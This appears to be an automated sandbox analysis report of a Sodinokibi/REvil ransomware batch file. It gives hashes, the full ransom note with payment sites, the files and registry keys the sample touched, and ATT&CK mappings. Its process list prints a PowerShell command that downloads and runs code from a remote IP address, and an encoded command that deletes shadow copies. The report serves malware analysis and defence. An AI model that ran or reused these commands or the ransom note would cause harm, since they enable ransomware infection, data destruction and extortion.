sodinokibi | 923b7329858020e85b39023f735fe9cffc528a5dd16e66de4de494c11050d475

General

Target

ab5cb2e23e6cb4c513ac6a13703f86bf.bat
Size

214B
MD5

ea3a91c4eabb53ea1c81584514484a54
SHA1

4ffb8f1584f99e6d9902953d956127871c4e21eb
SHA256

923b7329858020e85b39023f735fe9cffc528a5dd16e66de4de494c11050d475
SHA512

38d8ad718a57fa0db8ae41c578aea725c940af2eed5e975498f9642699c2f40ab9515ad1eb0a380109c30c53bbb9701bea646a8656dd0070a74e50a5366d646b

Score

10^/10

ransomware persistence sodinokibi

Malware Config

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://185.103.242.78/pastes/ab5cb2e23e6cb4c513ac6a13703f86bf

Extracted

Path

C:\w5nw631jn0-readme.txt

Family

sodinokibi

Ransom Note

---=== Welcome. Again. ===--- [+] Whats Happen? [+] Your files are encrypted, and currently unavailable. You can check it: all files on your system has extension w5nw631jn0. By the way, everything is possible to recover (restore), but you need to follow our instructions. Otherwise, you cant return your data (NEVER). [+] What guarantees? [+] Its just a business. We absolutely do not care about you and your deals, except getting benefits. If we do not do our work and liabilities - nobody will not cooperate with us. Its not in our interests. To check the ability of returning files, You should go to our website. There you can decrypt one file for free. That is our guarantee. If you will not cooperate with our service - for us, its does not matter. But you will lose your time and data, cause just we have the private key. In practice - time is much more valuable than money. [+] How to get access on website? [+] You have two ways: 1) [Recommended] Using a TOR browser! a) Download and install TOR browser from this site: https://torproject.org/ b) Open our website: http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/2DC78CB438E8005A 2) If TOR blocked in your country, try to use VPN! But you can use our secondary website. For this: a) Open your any browser (Chrome, Firefox, Opera, IE, Edge) b) Open our secondary website: http://decryptor.cc/2DC78CB438E8005A Warning: secondary website can be blocked, thats why first variant much better and more available. When you open our website, put the following data in the input form: Key: 49l3TJLa8SSNfnpI9XeyqF9YJTnS6KVxeq/JQ9gtXON0TdJAmlfm7ED/eWG57V3b MZomEi+Q5VW6pwPXSEHR+egFliFHkjH+hELZQOq+Gg7zuRwvkYCluSQ7Cf3uaq+q NluDs/Hr5Wc0C0pyiDLXsoaLz4sHWL6y0XLvN6tgnQUWHLNOS/kx3a/i1aflTacV XfBK+cdbOSWBHVwn4LEeSPtkOa3F7psXNPb2jXe8speq/MLr8UnEzDb6JOIdWrD4 g84klMqXBzvzIOJLP5GNpuKe6S4XDM4O38Bym0xbYbXMwIkjXlDjiSvmpbgCp6K3 YCD5AVoMtNxPR/tF/JNXPmUHTq6OU5sv8c1F5K46O+U4if3pppy8RHiPvTwz2fAn YgbPCNd8lOAbA6WNqIvOH1x4vITqAqtGdKJEQPgIilnyEobhjlidBd0yk2+LlqT1 u1g85Z+gFU2Nr6KyH097fhUJU3atqVZn70YCnunA2TcGWG+vadIQ9wslQSOhii4U iqAAVc5G0EvWQw3B4SmJgjnqQ3IhdXBE+rqXRsWIkcUBD/9Rdj2TOxxCpLlPORSv H06uXB+VNME3iW7QlYMM6NwKG/9rqqBHMa2/p97jOwlH+HSQoktpvajubsStCl4Y 0r8/rEafzWAV9FKUpP75Y3CqCLvDi4hRstjReWDntKv4in3/LVfbVrzh4GScUt3B 2dTBjM1LNgcGwqZBNpHqLSI8FiyoGkdJ0gD3kUAG1dwk8qScsgDmoPP0hRKKMZXg 2J8Z0bazldhrcfVYv8xScComYRPKnVtlS2V1IDB/ptxc0cxcSeqgs+5kyd4z9j25 Vgepq8a+4SSGle9FBx30qzqixjI0jeh0wGv+m7/aYDCQzECYmVg9JfSSPAunNwGz F/leKnnpsW4TihiAAxphjpZezgFKvchtEuCSknCTwTSBEtwFtlGyzsNJX8uiSXNi JBemRxyYkvp1YxN9A8VEb2uMZBxUZcehs+shkfntK72uNN/kMNUuIBZRBLeM9fuh 6Pp8FZnPWEctxwRR97jE6UhczcVVeKA/kb4PsKcUB/UhZW05p5BtAWzJ0S07mLK1 ZCL9ottZrrvOaDY9wW418kcInvOhLLqwi9lXv5vqEkSJBV7r/98LHbvCkf6dPXIN m7ivtqXlMYIIk4YysHGLXcQ6WvkusVPEeYK+laRtQrtGGIF7RL0mfRtYAbvEryE5 PCNFldgyfoj6IySK8jqLJBXvexYN3nn1RIpACP/IGbNHMDozZY6Vg6iTvwZc35rv Ltjiz83A5cwWga2ydlOSf9AsUXARuE063+lfxQfl5MTZghLBfH6WfQ== ----------------------------------------------------------------------------------------- !!! DANGER !!! DONT try to change files by yourself, DONT use any third party software for restoring your data or antivirus solutions - its may entail damage of the private key and, as result, The Loss all data. !!! !!! !!! ONE MORE TIME: Its in your interests to get your files back. From our side, we (the best specialists) make everything for restoring, but please should not interfere. !!! !!! !!!

URLs

http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/2DC78CB438E8005A

http://decryptor.cc/2DC78CB438E8005A

Signatures

Blacklisted process makes network request 1 IoCs

Processes:

powershell.exe

flow pid process

3 1460 powershell.exe

flow	pid	process
3	1460	powershell.exe

Drops file in Program Files directory 18 IoCs

Processes:

powershell.exe

description	ioc	process
File created	\??\c:\program files (x86)\w5nw631jn0-readme.txt	powershell.exe
File opened for modification	\??\c:\program files\StepConvert.mpeg	powershell.exe
File opened for modification	\??\c:\program files\SwitchMount.pptm	powershell.exe
File opened for modification	\??\c:\program files\UseAssert.svgz	powershell.exe
File created	\??\c:\program files\microsoft sql server compact edition\v3.5\desktop\w5nw631jn0-readme.txt	powershell.exe
File opened for modification	\??\c:\program files\RegisterDebug.php	powershell.exe
File opened for modification	\??\c:\program files\AssertRemove.eps	powershell.exe
File opened for modification	\??\c:\program files\InvokeSave.pub	powershell.exe
File opened for modification	\??\c:\program files\LockSelect.ppsm	powershell.exe
File created	\??\c:\program files\microsoft sql server compact edition\w5nw631jn0-readme.txt	powershell.exe
File opened for modification	\??\c:\program files\StepSave.dotm	powershell.exe
File created	\??\c:\program files\w5nw631jn0-readme.txt	powershell.exe
File opened for modification	\??\c:\program files\ConnectSet.kix	powershell.exe
File opened for modification	\??\c:\program files\ConvertFromResize.dotx	powershell.exe
File opened for modification	\??\c:\program files\InitializeReceive.css	powershell.exe
File opened for modification	\??\c:\program files\SuspendRestore.3gp	powershell.exe
File opened for modification	\??\c:\program files\TraceBackup.m1v	powershell.exe
File created	\??\c:\program files\microsoft sql server compact edition\v3.5\w5nw631jn0-readme.txt	powershell.exe

Suspicious use of WriteProcessMemory 5 IoCs

Processes:

cmd.exepowershell.exe

description	pid	process	target process
PID 1356 wrote to memory of 1460	1356	cmd.exe	powershell.exe
PID 1460 wrote to memory of 1692	1460	powershell.exe	powershell.exe
PID 1460 wrote to memory of 1692	1460	powershell.exe	powershell.exe
PID 1460 wrote to memory of 1692	1460	powershell.exe	powershell.exe
PID 1460 wrote to memory of 1692	1460	powershell.exe	powershell.exe

Suspicious use of AdjustPrivilegeToken 7 IoCs

Processes:

powershell.exepowershell.exevssvc.exe

description	pid	process
Token: SeDebugPrivilege	1460	powershell.exe
Token: SeDebugPrivilege	1460	powershell.exe
Token: SeDebugPrivilege	1692	powershell.exe
Token: SeBackupPrivilege	368	vssvc.exe
Token: SeRestorePrivilege	368	vssvc.exe
Token: SeAuditPrivilege	368	vssvc.exe
Token: SeTakeOwnershipPrivilege	1460	powershell.exe

Suspicious behavior: EnumeratesProcesses 77 IoCs

Processes:

powershell.exepowershell.exe

pid	process
1460	powershell.exe
1460	powershell.exe
1460	powershell.exe
1692	powershell.exe
1692	powershell.exe
1460	powershell.exe
1460	powershell.exe
1460	powershell.exe
1460	powershell.exe
1460	powershell.exe
1460	powershell.exe
1460	powershell.exe
1460	powershell.exe
1460	powershell.exe
1460	powershell.exe
1460	powershell.exe
1460	powershell.exe
1460	powershell.exe
1460	powershell.exe
1460	powershell.exe
1460	powershell.exe
1460	powershell.exe
1460	powershell.exe
1460	powershell.exe
1460	powershell.exe
1460	powershell.exe
1460	powershell.exe
1460	powershell.exe
1460	powershell.exe
1460	powershell.exe
1460	powershell.exe
1460	powershell.exe
1460	powershell.exe
1460	powershell.exe
1460	powershell.exe
1460	powershell.exe
1460	powershell.exe
1460	powershell.exe
1460	powershell.exe
1460	powershell.exe
1460	powershell.exe
1460	powershell.exe
1460	powershell.exe
1460	powershell.exe
1460	powershell.exe
1460	powershell.exe
1460	powershell.exe
1460	powershell.exe
1460	powershell.exe
1460	powershell.exe
1460	powershell.exe
1460	powershell.exe
1460	powershell.exe
1460	powershell.exe
1460	powershell.exe
1460	powershell.exe
1460	powershell.exe
1460	powershell.exe
1460	powershell.exe
1460	powershell.exe
1460	powershell.exe
1460	powershell.exe
1460	powershell.exe
1460	powershell.exe

Enumerates connected drives 3 TTPs

Query Registry
T1012

Peripheral Device Discovery
T1120

System Information Discovery
T1082

Modifies service 2 TTPs 4 IoCs

persistence

Modify Registry

T1112

Modify Existing Service

T1031

Processes:

vssvc.exe

description	ioc	process
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\Registry Writer	vssvc.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\COM+ REGDB Writer	vssvc.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\ASR Writer	vssvc.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\Shadow Copy Optimization Writer	vssvc.exe

Sets desktop wallpaper using registry 2 TTPs 1 IoCs

ransomware

Defacement

T1491

Modify Registry

T1112

Processes:

powershell.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\88m.bmp"	powershell.exe

Sodin,Sodinokibi,REvil
Ransomware with advanced anti-analysis and privilege escalation functionality.
ransomware sodinokibi
Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs

Processes:

powershell.exe

pid process

1460 powershell.exe

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\ab5cb2e23e6cb4c513ac6a13703f86bf.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:1356

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "IEX (New-Object System.Net.WebClient).DownloadString('http://185.103.242.78/pastes/ab5cb2e23e6cb4c513ac6a13703f86bf');Invoke-NOTJYHI;Start-Sleep -s 10000"
2⤵
- Blacklisted process makes network request
- Drops file in Program Files directory
- Suspicious use of WriteProcessMemory
- Suspicious use of AdjustPrivilegeToken
- Suspicious behavior: EnumeratesProcesses
- Sets desktop wallpaper using registry
- Suspicious behavior: CmdExeWriteProcessMemorySpam
PID:1460

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==
3⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious behavior: EnumeratesProcesses
PID:1692

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
- Modifies service
PID:368

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Modify Existing Service

1

T1031

Privilege Escalation

Defense Evasion

Modify Registry

2

T1112

Credential Access

Discovery

Peripheral Device Discovery

Query Registry

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Defacement

1

T1491

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_2f8f6cc7-ae83-4f79-b06e-2b9a49e06c5b

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_3f934678-4276-4d7d-9a2b-7ccacecf398b

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_670419ca-9b90-4e9d-a6c5-f73b7563d382

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_9065e065-05e7-4eaa-bb93-1db6da178e99

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_a3b7b651-7089-41b5-9155-3fb877609508

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_b7a807a3-f6b6-4397-972a-e9e81988f869

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheIndex

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C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

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Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads